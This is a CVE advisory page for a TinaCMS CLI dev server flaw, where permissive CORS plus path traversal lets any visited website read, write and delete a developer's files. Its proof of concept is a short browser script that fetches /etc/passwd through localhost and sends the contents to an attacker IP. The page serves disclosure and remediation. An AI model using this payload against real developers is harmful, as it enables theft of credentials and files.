CVE-2026-28792 — Vulnerability in @tinacms/cli — CVE Details
TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.75%). Schedule for your next planned update.
Does your project use an affected @tinacms/cli version?
Paste your package-lock.json to check it for CVE-2026-28792 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.
Details
The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:
- packages/@tinacms/cli/src/server/server.ts:
app.use(cors());
- packages/@tinacms/cli/src/next/vite/plugins.ts:
server.middlewares.use(cors());
When combined with the path traversal vulnerability, this creates a complete attack chain.
Attack Scenario
Prerequisites
- Developer runs
tinacms dev(default port 4001) - Developer visits attacker's website while TinaCMS is running
No other conditions required - the dev server doesn't need to be:
- Exposed to the internet
- Bound to 0.0.0.0
- Accessible outside localhost
Attack Flow
- Developer starts TinaCMS:
tinacms dev - Developer browses the web (checking email, social media, etc.)
- Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
- Attacker's JavaScript exploits CORS + path traversal to read sensitive files
- Files are exfiltrated to attacker's server
PoC
Attacker's Malicious Website (evil.html):
<script>
fetch('http://localhost:4001/../../../etc/passwd')
.then(r => r.text())
.then(data => {
// Exfil via GET
const img = new Image();
img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
});
</script>
Demonstration
Step 1: Start TinaCMS dev server
tinacms dev
# Server running on http://localhost:4001
Step 2: Host evil.html on attacker server
python3 -m http.server 8000
Step 3: Developer visits http://attacker-server:8000/evil.html
Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server.
Impact
Who is affected
Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.
What an attacker achieves
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:
- Enumerate the developer's filesystem directory listings via
/media/list/with path traversal reveal file and folder names across the entire filesystem - Discover sensitive files locate
.env,.git/config, SSH keys, cloud credentials, database configs - Write arbitrary files via
/media/upload/with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts - Delete arbitrary files via
/media/DELETE with path traversal
Advisory Timeline
- First published March 12, 2026 (259 days ago).
- Last revised March 14, 2026 — 1 day after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install @tinacms/cli@2.1.8
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| @tinacms/cli npm · Affected: All versions | 2.1.8 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
- CWE-942
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
References
- https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-28792ADVISORY
- https://github.com/tinacms/tinacms/pull/6450WEB
- https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7WEB
- https://github.com/tinacms/tinacmsPACKAGE
- https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8WEB
Frequently Asked Questions
- What is CVE-2026-28792?
- TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
- How do I check if my project is affected by CVE-2026-28792?
- CVE-2026-28792 affects @tinacms/cli. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-28792 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is an above-median EPSS score — 51% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-76807CRITICAL
Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server
- CVE-2026-114516CRITICAL
Etherpad: Pre-auth arbitrary file read
- CVE-2026-108261CRITICAL
TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
- CVE-2026-63506HIGH
Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site